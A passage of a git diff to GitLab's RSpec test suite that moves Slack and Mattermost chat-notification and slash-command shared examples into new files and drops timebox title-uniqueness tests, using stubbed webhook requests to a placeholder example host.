- describe "Validations" do
- context "when service is active" do
- before do
- subject.active = true
- end
-
- it { is_expected.to validate_presence_of(:webhook) }
- it_behaves_like "issue tracker service URL attribute", :webhook
- end
-
- context "when service is inactive" do
- before do
- subject.active = false
- end
-
- it { is_expected.not_to validate_presence_of(:webhook) }
- end
- end
-
- describe '.supported_events' do
- it 'does not support deployment_events' do
- expect(described_class.supported_events).not_to include('deployment')
- end
- end
-
- describe "#execute" do
- let(:user) { create(:user) }
- let(:project) { create(:project, :repository) }
- let(:webhook_url) { "https://example.gitlab.com/" }
-
- before do
- allow(subject).to receive_messages(
- project: project,
- project_id: project.id,
- service_hook: true,
- webhook: webhook_url
- )
-
- WebMock.stub_request(:post, webhook_url)
- end
-
- shared_examples "triggered #{service_name} service" do |branches_to_be_notified: nil|
- before do
- subject.branches_to_be_notified = branches_to_be_notified if branches_to_be_notified
- end
-
- it "calls #{service_name} API" do
- result = subject.execute(sample_data)
-
- expect(result).to be(true)
- expect(WebMock).to have_requested(:post, webhook_url).once.with { |req|
- json_body = Gitlab::Json.parse(req.body).with_indifferent_access
- expect(json_body).to include(payload)
- }
- end
- end
-
- shared_examples "untriggered #{service_name} service" do |branches_to_be_notified: nil|
- before do
- subject.branches_to_be_notified = branches_to_be_notified if branches_to_be_notified
- end
-
- it "does not call #{service_name} API" do
- result = subject.execute(sample_data)
-
- expect(result).to be(false)
- expect(WebMock).not_to have_requested(:post, webhook_url)
- end
- end
-
- context "with push events" do
- let(:sample_data) do
- Gitlab::DataBuilder::Push.build_sample(project, user)
- end
-
- it_behaves_like "triggered #{service_name} service"
-
- it "specifies the webhook when it is configured", if: defined?(client) do
- expect(client).to receive(:new).with(client_arguments).and_return(double(:chat_service).as_null_object)
-
- subject.execute(sample_data)
- end
-
- context "with default branch" do
- let(:sample_data) do
- Gitlab::DataBuilder::Push.build(project: project, user: user, ref: project.default_branch)
- end
-
- context "when only default branch are to be notified" do
- it_behaves_like "triggered #{service_name} service", branches_to_be_notified: "default"
- end
-
- context "when only protected branches are to be notified" do
- it_behaves_like "untriggered #{service_name} service", branches_to_be_notified: "protected"
- end
-
- context "when default and protected branches are to be notified" do
- it_behaves_like "triggered #{service_name} service", branches_to_be_notified: "default_and_protected"
- end
-
- context "when all branches are to be notified" do
- it_behaves_like "triggered #{service_name} service", branches_to_be_notified: "all"
- end
- end
-
- context "with protected branch" do
- before do
- create(:protected_branch, project: project, name: "a-protected-branch")
- end
-
- let(:sample_data) do
- Gitlab::DataBuilder::Push.build(project: project, user: user, ref: "a-protected-branch")
- end
-
- context "when only default branch are to be notified" do
- it_behaves_like "untriggered #{service_name} service", branches_to_be_notified: "default"
- end
-
- context "when only protected branches are to be notified" do
- it_behaves_like "triggered #{service_name} service", branches_to_be_notified: "protected"
- end
-
- context "when default and protected branches are to be notified" do
- it_behaves_like "triggered #{service_name} service", branches_to_be_notified: "default_and_protected"
- end
-
- context "when all branches are to be notified" do
- it_behaves_like "triggered #{service_name} service", branches_to_be_notified: "all"
- end
- end
-
- context "with neither default nor protected branch" do
- let(:sample_data) do
- Gitlab::DataBuilder::Push.build(project: project, user: user, ref: "a-random-branch")
- end
-
- context "when only default branch are to be notified" do
- it_behaves_like "untriggered #{service_name} service", branches_to_be_notified: "default"
- end
-
- context "when only protected branches are to be notified" do
- it_behaves_like "untriggered #{service_name} service", branches_to_be_notified: "protected"
- end
-
- context "when default and protected branches are to be notified" do
- it_behaves_like "untriggered #{service_name} service", branches_to_be_notified: "default_and_protected"
- end
-
- context "when all branches are to be notified" do
- it_behaves_like "triggered #{service_name} service", branches_to_be_notified: "all"
- end
- end
- end
-
- context "with issue events" do
- let(:opts) { { title: "Awesome issue", description: "please fix" } }
- let(:sample_data) do
- service = Issues::CreateService.new(project: project, current_user: user, params: opts)
- issue = service.execute
- service.hook_data(issue, "open")
- end
-
- it_behaves_like "triggered #{service_name} service"
- end
-
- context "with merge events" do
- let(:opts) do
- {
- title: "Awesome merge_request",
- description: "please fix",
- source_branch: "feature",
- target_branch: "master"
- }
- end
-
- let(:sample_data) do
- service = MergeRequests::CreateService.new(project: project, current_user: user, params: opts)
- merge_request = service.execute
- service.hook_data(merge_request, "open")
- end
-
- before do
- project.add_developer(user)
- end
-
- it_behaves_like "triggered #{service_name} service"
- end
-
- context "with wiki page events" do
- let(:opts) do
- {
- title: "Awesome wiki_page",
- content: "Some text describing some thing or another",
- format: "md",
- message: "user created page: Awesome wiki_page"
- }
- end
-
- let(:wiki_page) { create(:wiki_page, wiki: project.wiki, **opts) }
- let(:sample_data) { Gitlab::DataBuilder::WikiPage.build(wiki_page, user, "create") }
-
- it_behaves_like "triggered #{service_name} service"
- end
-
- context "with note events" do
- let(:sample_data) { Gitlab::DataBuilder::Note.build(note, user) }
-
- context "with commit comment" do
- let(:note) do
- create(:note_on_commit,
- author: user,
- project: project,
- commit_id: project.repository.commit.id,
- note: "a comment on a commit")
- end
-
- it_behaves_like "triggered #{service_name} service"
- end
-
- context "with merge request comment" do
- let(:note) do
- create(:note_on_merge_request, project: project, note: "merge request note")
- end
-
- it_behaves_like "triggered #{service_name} service"
- end
-
- context "with issue comment" do
- let(:note) do
- create(:note_on_issue, project: project, note: "issue note")
- end
-
- it_behaves_like "triggered #{service_name} service"
- end
-
- context "with snippet comment" do
- let(:note) do
- create(:note_on_project_snippet, project: project, note: "snippet note")
- end
-
- it_behaves_like "triggered #{service_name} service"
- end
- end
-
- context "with pipeline events" do
- let(:pipeline) do
- create(:ci_pipeline,
- project: project, status: status,
- sha: project.commit.sha, ref: project.default_branch)
- end
-
- let(:sample_data) { Gitlab::DataBuilder::Pipeline.build(pipeline) }
-
- context "with failed pipeline" do
- let(:status) { "failed" }
-
- it_behaves_like "triggered #{service_name} service"
- end
-
- context "with succeeded pipeline" do
- let(:status) { "success" }
-
- context "with default notify_only_broken_pipelines" do
- it "does not call #{service_name} API" do
- result = subject.execute(sample_data)
-
- expect(result).to be_falsy
- end
- end
-
- context "when notify_only_broken_pipelines is false" do
- before do
- subject.notify_only_broken_pipelines = false
- end
-
- it_behaves_like "triggered #{service_name} service"
- end
- end
-
- context "with default branch" do
- let(:sample_data) do
- Gitlab::DataBuilder::Push.build(project: project, user: user, ref: project.default_branch)
- end
-
- context "when only default branch are to be notified" do
- it_behaves_like "triggered #{service_name} service", branches_to_be_notified: "default"
- end
-
- context "when only protected branches are to be notified" do
- it_behaves_like "untriggered #{service_name} service", branches_to_be_notified: "protected"
- end
-
- context "when default and protected branches are to be notified" do
- it_behaves_like "triggered #{service_name} service", branches_to_be_notified: "default_and_protected"
- end
-
- context "when all branches are to be notified" do
- it_behaves_like "triggered #{service_name} service", branches_to_be_notified: "all"
- end
- end
-
- context "with protected branch" do
- before do
- create(:protected_branch, project: project, name: "a-protected-branch")
- end
-
- let(:sample_data) do
- Gitlab::DataBuilder::Push.build(project: project, user: user, ref: "a-protected-branch")
- end
-
- context "when only default branch are to be notified" do
- it_behaves_like "untriggered #{service_name} service", branches_to_be_notified: "default"
- end
-
- context "when only protected branches are to be notified" do
- it_behaves_like "triggered #{service_name} service", branches_to_be_notified: "protected"
- end
-
- context "when default and protected branches are to be notified" do
- it_behaves_like "triggered #{service_name} service", branches_to_be_notified: "default_and_protected"
- end
-
- context "when all branches are to be notified" do
- it_behaves_like "triggered #{service_name} service", branches_to_be_notified: "all"
- end
- end
-
- context "with neither default nor protected branch" do
- let(:sample_data) do
- Gitlab::DataBuilder::Push.build(project: project, user: user, ref: "a-random-branch")
- end
-
- context "when only default branch are to be notified" do
- it_behaves_like "untriggered #{service_name} service", branches_to_be_notified: "default"
- end
-
- context "when only protected branches are to be notified" do
- it_behaves_like "untriggered #{service_name} service", branches_to_be_notified: "protected"
- end
-
- context "when default and protected branches are to be notified" do
- it_behaves_like "untriggered #{service_name} service", branches_to_be_notified: "default_and_protected"
- end
-
- context "when all branches are to be notified" do
- it_behaves_like "triggered #{service_name} service", branches_to_be_notified: "all"
- end
- end
- end
- end
-end
diff --git a/spec/support/shared_examples/models/chat_slash_commands_shared_examples.rb b/spec/support/shared_examples/models/chat_slash_commands_shared_examples.rb
deleted file mode 100644
index 49729afce61..00000000000
--- a/spec/support/shared_examples/models/chat_slash_commands_shared_examples.rb
+++ /dev/null
@@ -1,128 +0,0 @@
-# frozen_string_literal: true
-
-RSpec.shared_examples 'chat slash commands service' do
- describe "Associations" do
- it { is_expected.to respond_to :token }
- it { is_expected.to have_many :chat_names }
- end
-
- describe '#valid_token?' do
- subject { described_class.new }
-
- context 'when the token is empty' do
- it 'is false' do
- expect(subject.valid_token?('wer')).to be_falsey
- end
- end
-
- context 'when there is a token' do
- before do
- subject.token = '123'
- end
-
- it 'accepts equal tokens' do
- expect(subject.valid_token?('123')).to be_truthy
- end
- end
- end
-
- describe '#trigger' do
- subject { described_class.new }
-
- context 'no token is passed' do
- let(:params) { {} }
-
- it 'returns nil' do
- expect(subject.trigger(params)).to be_nil
- end
- end
-
- context 'with a token passed' do
- let(:project) { create(:project) }
- let(:params) { { token: 'token' } }
-
- before do
- allow(subject).to receive(:token).and_return('token')
- end
-
- context 'no user can be found' do
- context 'when no url can be generated' do
- it 'responds with the authorize url' do
- response = subject.trigger(params)
-
- expect(response[:response_type]).to eq :ephemeral
- expect(response[:text]).to start_with ":sweat_smile: Couldn't identify you"
- end
- end
-
- context 'when an auth url can be generated' do
- let(:params) do
- {
- team_domain: 'http://domain.tld',
- team_id: 'T3423423',
- user_id: 'U234234',
- user_name: 'mepmep',
- token: 'token'
- }
- end
-
- let(:service) do
- project.create_mattermost_slash_commands_service(
- properties: { token: 'token' }
- )
- end
-
- it 'generates the url' do
- response = service.trigger(params)
-
- expect(response[:text]).to start_with(':wave: Hi there!')
- end
- end
- end
-
- context 'when the user is authenticated' do
- let!(:chat_name) { create(:chat_name, integration: subject) }
- let(:params) { { token: 'token', team_id: chat_name.team_id, user_id: chat_name.chat_id } }
-
- subject do
- described_class.create!(project: project, properties: { token: 'token' })
- end
-
- it 'triggers the command' do
- expect_any_instance_of(Gitlab::SlashCommands::Command).to receive(:execute)
-
- subject.trigger(params)
- end
-
- shared_examples_for 'blocks command execution' do
- it do
- expect_any_instance_of(Gitlab::SlashCommands::Command).not_to receive(:execute)
-
- result = subject.trigger(params)
- expect(result[:text]).to match(error_message)
- end
- end
-
- context 'when user is blocked' do
- before do
- chat_name.user.block
- end
-
- it_behaves_like 'blocks command execution' do
- let(:error_message) { 'you do not have access to the GitLab project' }
- end
- end
-
- context 'when user is deactivated' do
- before do
- chat_name.user.deactivate
- end
-
- it_behaves_like 'blocks command execution' do
- let(:error_message) { 'your account has been deactivated by your administrator' }
- end
- end
- end
- end
- end
-end
diff --git a/spec/support/shared_examples/models/concerns/integrations/slack_mattermost_notifier_shared_examples.rb b/spec/support/shared_examples/models/concerns/integrations/slack_mattermost_notifier_shared_examples.rb
new file mode 100644
index 00000000000..66448aca2c5
--- /dev/null
+++ b/spec/support/shared_examples/models/concerns/integrations/slack_mattermost_notifier_shared_examples.rb
@@ -0,0 +1,648 @@
+# frozen_string_literal: true
+
+RSpec.shared_examples Integrations::SlackMattermostNotifier do |service_name|
+ include StubRequests
+
+ let(:chat_service) { described_class.new }
+ let(:webhook_url) { 'https://example.gitlab.com' }
+
+ def execute_with_options(options)
+ receive(:new).with(webhook_url, options.merge(http_client: Integrations::SlackMattermostNotifier::HTTPClient))
+ .and_return(double(:slack_service).as_null_object)
+ end
+
+ describe "Associations" do
+ it { is_expected.to belong_to :project }
+ it { is_expected.to have_one :service_hook }
+ end
+
+ describe 'Validations' do
+ context 'when service is active' do
+ before do
+ subject.active = true
+ end
+
+ it { is_expected.to validate_presence_of(:webhook) }
+ it_behaves_like 'issue tracker service URL attribute', :webhook
+ end
+
+ context 'when service is inactive' do
+ before do
+ subject.active = false
+ end
+
+ it { is_expected.not_to validate_presence_of(:webhook) }
+ end
+ end
+
+ shared_examples "triggered #{service_name} service" do |event_type: nil, branches_to_be_notified: nil|
+ before do
+ chat_service.branches_to_be_notified = branches_to_be_notified if branches_to_be_notified
+ end
+
+ let!(:stubbed_resolved_hostname) do
+ stub_full_request(webhook_url, method: :post).request_pattern.uri_pattern.to_s
+ end
+
+ it "notifies about #{event_type} events" do
+ chat_service.execute(data)
+ expect(WebMock).to have_requested(:post, stubbed_resolved_hostname)
+ end
+ end
+
+ shared_examples "untriggered #{service_name} service" do |event_type: nil, branches_to_be_notified: nil|
+ before do
+ chat_service.branches_to_be_notified = branches_to_be_notified if branches_to_be_notified
+ end
+
+ let!(:stubbed_resolved_hostname) do
+ stub_full_request(webhook_url, method: :post).request_pattern.uri_pattern.to_s
+ end
+
+ it "notifies about #{event_type} events" do
+ chat_service.execute(data)
+ expect(WebMock).not_to have_requested(:post, stubbed_resolved_hostname)
+ end
+ end
+
+ describe "#execute" do
+ let_it_be(:project) { create(:project, :repository, :wiki_repo) }
+ let_it_be(:user) { create(:user) }
+
+ let(:chat_service) { described_class.new( { project: project, webhook: webhook_url, branches_to_be_notified: 'all' }.merge(chat_service_params)) }
+ let(:chat_service_params) { {} }
+ let(:data) { Gitlab::DataBuilder::Push.build_sample(project, user) }
+
+ let!(:stubbed_resolved_hostname) do
+ stub_full_request(webhook_url, method: :post).request_pattern.uri_pattern.to_s
+ end
+
+ subject(:execute_service) { chat_service.execute(data) }
+
+ shared_examples 'calls the service API with the event message' do |event_message|
+ specify do
+ expect_next_instance_of(::Slack::Messenger) do |messenger|
+ expect(messenger).to receive(:ping).with(event_message, anything).and_call_original
+ end
+
+ execute_service
+
+ expect(WebMock).to have_requested(:post, stubbed_resolved_hostname).once
+ end
+ end
+
+ context 'with username for slack configured' do
+ let(:chat_service_params) { { username: 'slack_username' } }
+
+ it 'uses the username as an option' do
+ expect(::Slack::Messenger).to execute_with_options(username: 'slack_username')
+
+ execute_service
+ end
+ end
+
+ context 'push events' do
+ let(:data) { Gitlab::DataBuilder::Push.build_sample(project, user) }
+
+ it_behaves_like 'calls the service API with the event message', /pushed to branch/
+
+ context 'with event channel' do
+ let(:chat_service_params) { { push_channel: 'random' } }
+
+ it 'uses the right channel for push event' do
+ expect(::Slack::Messenger).to execute_with_options(channel: ['random'])
+
+ execute_service
+ end
+ end
+ end
+
+ context 'tag_push events' do
+ let(:oldrev) { Gitlab::Git::BLANK_SHA }
+ let(:newrev) { '8a2a6eb295bb170b34c24c76c49ed0e9b2eaf34b' } # gitlab-test: git rev-parse refs/tags/v1.1.0
+ let(:ref) { 'refs/tags/v1.1.0' }
+ let(:data) { Git::TagHooksService.new(project, user, change: { oldrev: oldrev, newrev: newrev, ref: ref }).send(:push_data) }
+
+ it_behaves_like 'calls the service API with the event message', /pushed new tag/
+ end
+
+ context 'issue events' do
+ let_it_be(:issue) { create(:issue) }
+
+ let(:data) { issue.to_hook_data(user) }
+
+ it_behaves_like 'calls the service API with the event message', /Issue (.*?) opened by/
+
+ context 'whith event channel' do
+ let(:chat_service_params) { { issue_channel: 'random' } }
+
+ it 'uses the right channel for issue event' do
+ expect(::Slack::Messenger).to execute_with_options(channel: ['random'])
+
+ execute_service
+ end
+
+ context 'for confidential issues' do
+ before_all do
+ issue.update!(confidential: true)
+ end
+
+ it 'falls back to issue channel' do
+ expect(::Slack::Messenger).to execute_with_options(channel: ['random'])
+
+ execute_service
+ end
+
+ context 'and confidential_issue_channel is defined' do
+ let(:chat_service_params) { { issue_channel: 'random', confidential_issue_channel: 'confidential' } }
+
+ it 'uses the confidential issue channel when it is defined' do
+ expect(::Slack::Messenger).to execute_with_options(channel: ['confidential'])
+
+ execute_service
+ end
+ end
+ end
+ end
+ end
+
+ context 'merge request events' do
+ let_it_be(:merge_request) { create(:merge_request) }
+
+ let(:data) { merge_request.to_hook_data(user) }
+
+ it_behaves_like 'calls the service API with the event message', /opened merge request/
+
+ context 'with event channel' do
+ let(:chat_service_params) { { merge_request_channel: 'random' } }
+
+ it 'uses the right channel for merge request event' do
+ expect(::Slack::Messenger).to execute_with_options(channel: ['random'])
+
+ execute_service
+ end
+ end
+ end
+
+ context 'wiki page events' do
+ let_it_be(:wiki_page) { create(:wiki_page, wiki: project.wiki, message: 'user created page: Awesome wiki_page') }
+
+ let(:data) { Gitlab::DataBuilder::WikiPage.build(wiki_page, user, 'create') }
+
+ it_behaves_like 'calls the service API with the event message', %r{ created (.*?)wikis/(.*?)|wiki page> in}
+
+ context 'with event channel' do
+ let(:chat_service_params) { { wiki_page_channel: 'random' } }
+
+ it 'uses the right channel for wiki event' do
+ expect(::Slack::Messenger).to execute_with_options(channel: ['random'])
+
+ execute_service
+ end
+ end
+ end
+
+ context 'deployment events' do
+ let_it_be(:deployment) { create(:deployment) }
+
+ let(:data) { Gitlab::DataBuilder::Deployment.build(deployment, Time.current) }
+
+ it_behaves_like 'calls the service API with the event message', /Deploy to (.*?) created/
+ end
+
+ context 'note event' do
+ let_it_be(:issue_note) { create(:note_on_issue, project: project, note: "issue note") }
+
+ let(:data) { Gitlab::DataBuilder::Note.build(issue_note, user) }
+
+ it_behaves_like 'calls the service API with the event message', /commented on issue/
+
+ context 'with event channel' do
+ let(:chat_service_params) { { note_channel: 'random' } }
+
+ it 'uses the right channel' do
+ expect(::Slack::Messenger).to execute_with_options(channel: ['random'])
+
+ execute_service
+ end
+
+ context 'for confidential notes' do
+ before_all do
+ issue_note.update!(confidential: true)
+ end
+
+ it 'falls back to note channel' do
+ expect(::Slack::Messenger).to execute_with_options(channel: ['random'])
+
+ execute_service
+ end
+
+ context 'and confidential_note_channel is defined' do
+ let(:chat_service_params) { { note_channel: 'random', confidential_note_channel: 'confidential' } }
+
+ it 'uses confidential channel' do
+ expect(::Slack::Messenger).to execute_with_options(channel: ['confidential'])
+
+ execute_service
+ end
+ end
+ end
+ end
+ end
+ end
+
+ describe 'Push events' do
+ let(:user) { create(:user) }
+ let(:project) { create(:project, :repository, creator: user) }
+
+ before do
+ allow(chat_service).to receive_messages(
+ project: project,
+ service_hook: true,
+ webhook: webhook_url
+ )
+
+ stub_full_request(webhook_url, method: :post)
+ end
+
+ context 'on default branch' do
+ let(:data) do
+ Gitlab::DataBuilder::Push.build(
+ project: project,
+ user: user,
+ ref: project.default_branch
+ )
+ end
+
+ context 'pushing tags' do
+ let(:data) do
+ Gitlab::DataBuilder::Push.build(
+ project: project,
+ user: user,
+ ref: "#{Gitlab::Git::TAG_REF_PREFIX}test"
+ )
+ end
+
+ it_behaves_like "triggered #{service_name} service", event_type: "push"
+ end
+
+ context 'notification enabled only for default branch' do
+ it_behaves_like "triggered #{service_name} service", event_type: "push", branches_to_be_notified: "default"
+ end
+
+ context 'notification enabled only for protected branches' do
+ it_behaves_like "untriggered #{service_name} service", event_type: "push", branches_to_be_notified: "protected"
+ end
+
+ context 'notification enabled only for default and protected branches' do
+ it_behaves_like "triggered #{service_name} service", event_type: "push", branches_to_be_notified: "default_and_protected"
+ end
+
+ context 'notification enabled for all branches' do
+ it_behaves_like "triggered #{service_name} service", event_type: "push", branches_to_be_notified: "all"
+ end
+ end
+
+ context 'on a protected branch' do
+ before do
+ create(:protected_branch, project: project, name: 'a-protected-branch')
+ end
+
+ let(:data) do
+ Gitlab::DataBuilder::Push.build(
+ project: project,
+ user: user,
+ ref: 'a-protected-branch'
+ )
+ end
+
+ context 'pushing tags' do
+ let(:data) do
+ Gitlab::DataBuilder::Push.build(
+ project: project,
+ user: user,
+ ref: "#{Gitlab::Git::TAG_REF_PREFIX}test"
+ )
+ end
+
+ it_behaves_like "triggered #{service_name} service", event_type: "push"
+ end
+
+ context 'notification enabled only for default branch' do
+ it_behaves_like "untriggered #{service_name} service", event_type: "push", branches_to_be_notified: "default"
+ end
+
+ context 'notification enabled only for protected branches' do
+ it_behaves_like "triggered #{service_name} service", event_type: "push", branches_to_be_notified: "protected"
+ end
+
+ context 'notification enabled only for default and protected branches' do
+ it_behaves_like "triggered #{service_name} service", event_type: "push", branches_to_be_notified: "default_and_protected"
+ end
+
+ context 'notification enabled for all branches' do
+ it_behaves_like "triggered #{service_name} service", event_type: "push", branches_to_be_notified: "all"
+ end
+ end
+
+ context 'on a protected branch with protected branches defined using wildcards' do
+ before do
+ create(:protected_branch, project: project, name: '*-stable')
+ end
+
+ let(:data) do
+ Gitlab::DataBuilder::Push.build(
+ project: project,
+ user: user,
+ ref: '1-stable'
+ )
+ end
+
+ context 'pushing tags' do
+ let(:data) do
+ Gitlab::DataBuilder::Push.build(
+ project: project,
+ user: user,
+ ref: "#{Gitlab::Git::TAG_REF_PREFIX}test"
+ )
+ end
+
+ it_behaves_like "triggered #{service_name} service", event_type: "push"
+ end
+
+ context 'notification enabled only for default branch' do
+ it_behaves_like "untriggered #{service_name} service", event_type: "push", branches_to_be_notified: "default"
+ end
+
+ context 'notification enabled only for protected branches' do
+ it_behaves_like "triggered #{service_name} service", event_type: "push", branches_to_be_notified: "protected"
+ end
+
+ context 'notification enabled only for default and protected branches' do
+ it_behaves_like "triggered #{service_name} service", event_type: "push", branches_to_be_notified: "default_and_protected"
+ end
+
+ context 'notification enabled for all branches' do
+ it_behaves_like "triggered #{service_name} service", event_type: "push", branches_to_be_notified: "all"
+ end
+ end
+
+ context 'on a neither protected nor default branch' do
+ let(:data) do
+ Gitlab::DataBuilder::Push.build(
+ project: project,
+ user: user,
+ ref: 'a-random-branch'
+ )
+ end
+
+ context 'pushing tags' do
+ let(:data) do
+ Gitlab::DataBuilder::Push.build(
+ project: project,
+ user: user,
+ ref: "#{Gitlab::Git::TAG_REF_PREFIX}test"
+ )
+ end
+
+ it_behaves_like "triggered #{service_name} service", event_type: "push"
+ end
+
+ context 'notification enabled only for default branch' do
+ it_behaves_like "untriggered #{service_name} service", event_type: "push", branches_to_be_notified: "default"
+ end
+
+ context 'notification enabled only for protected branches' do
+ it_behaves_like "untriggered #{service_name} service", event_type: "push", branches_to_be_notified: "protected"
+ end
+
+ context 'notification enabled only for default and protected branches' do
+ it_behaves_like "untriggered #{service_name} service", event_type: "push", branches_to_be_notified: "default_and_protected"
+ end
+
+ context 'notification enabled for all branches' do
+ it_behaves_like "triggered #{service_name} service", event_type: "push", branches_to_be_notified: "all"
+ end
+ end
+ end
+
+ describe 'Note events' do
+ let(:user) { create(:user) }
+ let(:project) { create(:project, :repository, creator: user) }
+
+ before do
+ allow(chat_service).to receive_messages(
+ project: project,
+ service_hook: true,
+ webhook: webhook_url
+ )
+
+ stub_full_request(webhook_url, method: :post)
+ end
+
+ context 'when commit comment event executed' do
+ let(:commit_note) do
+ create(:note_on_commit, author: user,
+ project: project,
+ commit_id: project.repository.commit.id,
+ note: 'a comment on a commit')
+ end
+
+ let(:data) do
+ Gitlab::DataBuilder::Note.build(commit_note, user)
+ end
+
+ it_behaves_like "triggered #{service_name} service", event_type: "commit comment"
+ end
+
+ context 'when merge request comment event executed' do
+ let(:merge_request_note) do
+ create(:note_on_merge_request, project: project,
+ note: 'a comment on a merge request')
+ end
+
+ let(:data) do
+ Gitlab::DataBuilder::Note.build(merge_request_note, user)
+ end
+
+ it_behaves_like "triggered #{service_name} service", event_type: "merge request comment"
+ end
+
+ context 'when issue comment event executed' do
+ let(:issue_note) do
+ create(:note_on_issue, project: project,
+ note: 'a comment on an issue')
+ end
+
+ let(:data) do
+ Gitlab::DataBuilder::Note.build(issue_note, user)
+ end
+
+ it_behaves_like "triggered #{service_name} service", event_type: "issue comment"
+ end
+
+ context 'when snippet comment event executed' do
+ let(:snippet_note) do
+ create(:note_on_project_snippet, project: project,
+ note: 'a comment on a snippet')
+ end
+
+ let(:data) do
+ Gitlab::DataBuilder::Note.build(snippet_note, user)
+ end
+
+ it_behaves_like "triggered #{service_name} service", event_type: "snippet comment"
+ end
+ end
+
+ describe 'Pipeline events' do
+ let(:user) { create(:user) }
+ let(:project) { create(:project, :repository, creator: user) }
+ let(:pipeline) do
+ create(:ci_pipeline,
+ project: project, status: status,
+ sha: project.commit.sha, ref: project.default_branch)
+ end
+
+ before do
+ allow(chat_service).to receive_messages(
+ project: project,
+ service_hook: true,
+ webhook: webhook_url
+ )
+
+ stub_full_request(webhook_url, method: :post)
+ end
+
+ context 'with succeeded pipeline' do
+ let(:status) { 'success' }
+ let(:data) { Gitlab::DataBuilder::Pipeline.build(pipeline) }
+
+ context 'with default to notify_only_broken_pipelines' do
+ it_behaves_like "untriggered #{service_name} service", event_type: "pipeline"
+ end
+
+ context 'with setting notify_only_broken_pipelines to false' do
+ before do
+ chat_service.notify_only_broken_pipelines = false
+ end
+
+ it_behaves_like "triggered #{service_name} service", event_type: "pipeline"
+ end
+ end
+
+ context 'with failed pipeline' do
+ context 'on default branch' do
+ let(:pipeline) do
+ create(:ci_pipeline,
+ project: project, status: :failed,
+ sha: project.commit.sha, ref: project.default_branch)
+ end
+
+ let(:data) { Gitlab::DataBuilder::Pipeline.build(pipeline) }
+
+ context 'notification enabled only for default branch' do
+ it_behaves_like "triggered #{service_name} service", event_type: "pipeline", branches_to_be_notified: "default"
+ end
+
+ context 'notification enabled only for protected branches' do
+ it_behaves_like "untriggered #{service_name} service", event_type: "pipeline", branches_to_be_notified: "protected"
+ end
+
+ context 'notification enabled only for default and protected branches' do
+ it_behaves_like "triggered #{service_name} service", event_type: "pipeline", branches_to_be_notified: "default_and_protected"
+ end
+
+ context 'notification enabled for all branches' do
+ it_behaves_like "triggered #{service_name} service", event_type: "pipeline", branches_to_be_notified: "all"
+ end
+ end
+
+ context 'on a protected branch' do
+ before do
+ create(:protected_branch, project: project, name: 'a-protected-branch')
+ end
+
+ let(:pipeline) do
+ create(:ci_pipeline,
+ project: project, status: :failed,
+ sha: project.commit.sha, ref: 'a-protected-branch')
+ end
+
+ let(:data) { Gitlab::DataBuilder::Pipeline.build(pipeline) }
+
+ context 'notification enabled only for default branch' do
+ it_behaves_like "untriggered #{service_name} service", event_type: "pipeline", branches_to_be_notified: "default"
+ end
+
+ context 'notification enabled only for protected branches' do
+ it_behaves_like "triggered #{service_name} service", event_type: "pipeline", branches_to_be_notified: "protected"
+ end
+
+ context 'notification enabled only for default and protected branches' do
+ it_behaves_like "triggered #{service_name} service", event_type: "pipeline", branches_to_be_notified: "default_and_protected"
+ end
+
+ context 'notification enabled for all branches' do
+ it_behaves_like "triggered #{service_name} service", event_type: "pipeline", branches_to_be_notified: "all"
+ end
+ end
+
+ context 'on a protected branch with protected branches defined usin wildcards' do
+ before do
+ create(:protected_branch, project: project, name: '*-stable')
+ end
+
+ let(:pipeline) do
+ create(:ci_pipeline,
+ project: project, status: :failed,
+ sha: project.commit.sha, ref: '1-stable')
+ end
+
+ let(:data) { Gitlab::DataBuilder::Pipeline.build(pipeline) }
+
+ context 'notification enabled only for default branch' do
+ it_behaves_like "untriggered #{service_name} service", event_type: "pipeline", branches_to_be_notified: "default"
+ end
+
+ context 'notification enabled only for protected branches' do
+ it_behaves_like "triggered #{service_name} service", event_type: "pipeline", branches_to_be_notified: "protected"
+ end
+
+ context 'notification enabled only for default and protected branches' do
+ it_behaves_like "triggered #{service_name} service", event_type: "pipeline", branches_to_be_notified: "default_and_protected"
+ end
+
+ context 'notification enabled for all branches' do
+ it_behaves_like "triggered #{service_name} service", event_type: "pipeline", branches_to_be_notified: "all"
+ end
+ end
+
+ context 'on a neither protected nor default branch' do
+ let(:pipeline) do
+ create(:ci_pipeline,
+ project: project, status: :failed,
+ sha: project.commit.sha, ref: 'a-random-branch')
+ end
+
+ let(:data) { Gitlab::DataBuilder::Pipeline.build(pipeline) }
+
+ context 'notification enabled only for default branch' do
+ it_behaves_like "untriggered #{service_name} service", event_type: "pipeline", branches_to_be_notified: "default"
+ end
+
+ context 'notification enabled only for protected branches' do
+ it_behaves_like "untriggered #{service_name} service", event_type: "pipeline", branches_to_be_notified: "protected"
+ end
+
+ context 'notification enabled only for default and protected branches' do
+ it_behaves_like "untriggered #{service_name} service", event_type: "pipeline", branches_to_be_notified: "default_and_protected"
+ end
+
+ context 'notification enabled for all branches' do
+ it_behaves_like "triggered #{service_name} service", event_type: "pipeline", branches_to_be_notified: "all"
+ end
+ end
+ end
+ end
+end
diff --git a/spec/support/shared_examples/models/concerns/timebox_shared_examples.rb b/spec/support/shared_examples/models/concerns/timebox_shared_examples.rb
index 68142e667a4..39121b73bc5 100644
--- a/spec/support/shared_examples/models/concerns/timebox_shared_examples.rb
+++ b/spec/support/shared_examples/models/concerns/timebox_shared_examples.rb
@@ -86,45 +86,6 @@ RSpec.shared_examples 'a timebox' do |timebox_type|
expect(timebox.errors[:project_id]).to include("#{timebox_type} should belong either to a project or a group.")
end
end
-
- describe "#uniqueness_of_title" do
- context "per project" do
- it "does not accept the same title in a project twice" do
- new_timebox = timebox.dup
- expect(new_timebox).not_to be_valid
- end
-
- it "accepts the same title in another project" do
- project = create(:project)
- new_timebox = timebox.dup
- new_timebox.project = project
-
- expect(new_timebox).to be_valid
- end
- end
-
- context "per group" do
- let(:timebox) { create(timebox_type, *timebox_args, group: group) }
-
- before do
- project.update!(group: group)
- end
-
- it "does not accept the same title in a group twice" do
- new_timebox = described_class.new(group: group, title: timebox.title)
-
- expect(new_timebox).not_to be_valid
- end
-
- it "does not accept the same title of a child project timebox" do
- create(timebox_type, *timebox_args, project: group.projects.first)
-
- new_timebox = described_class.new(group: group, title: timebox.title)
-
- expect(new_timebox).not_to be_valid
- end
- end
- end
end
describe "Associations" do
diff --git a/spec/support/shared_examples/models/integrations/base_slash_commands_shared_examples.rb b/spec/support/shared_examples/models/integrations/base_slash_commands_shared_examples.rb
new file mode 100644
index 00000000000..128999d02fa
--- /dev/null
+++ b/spec/support/shared_examples/models/integrations/base_slash_commands_shared_examples.rb
@@ -0,0 +1,128 @@
+# frozen_string_literal: true
+
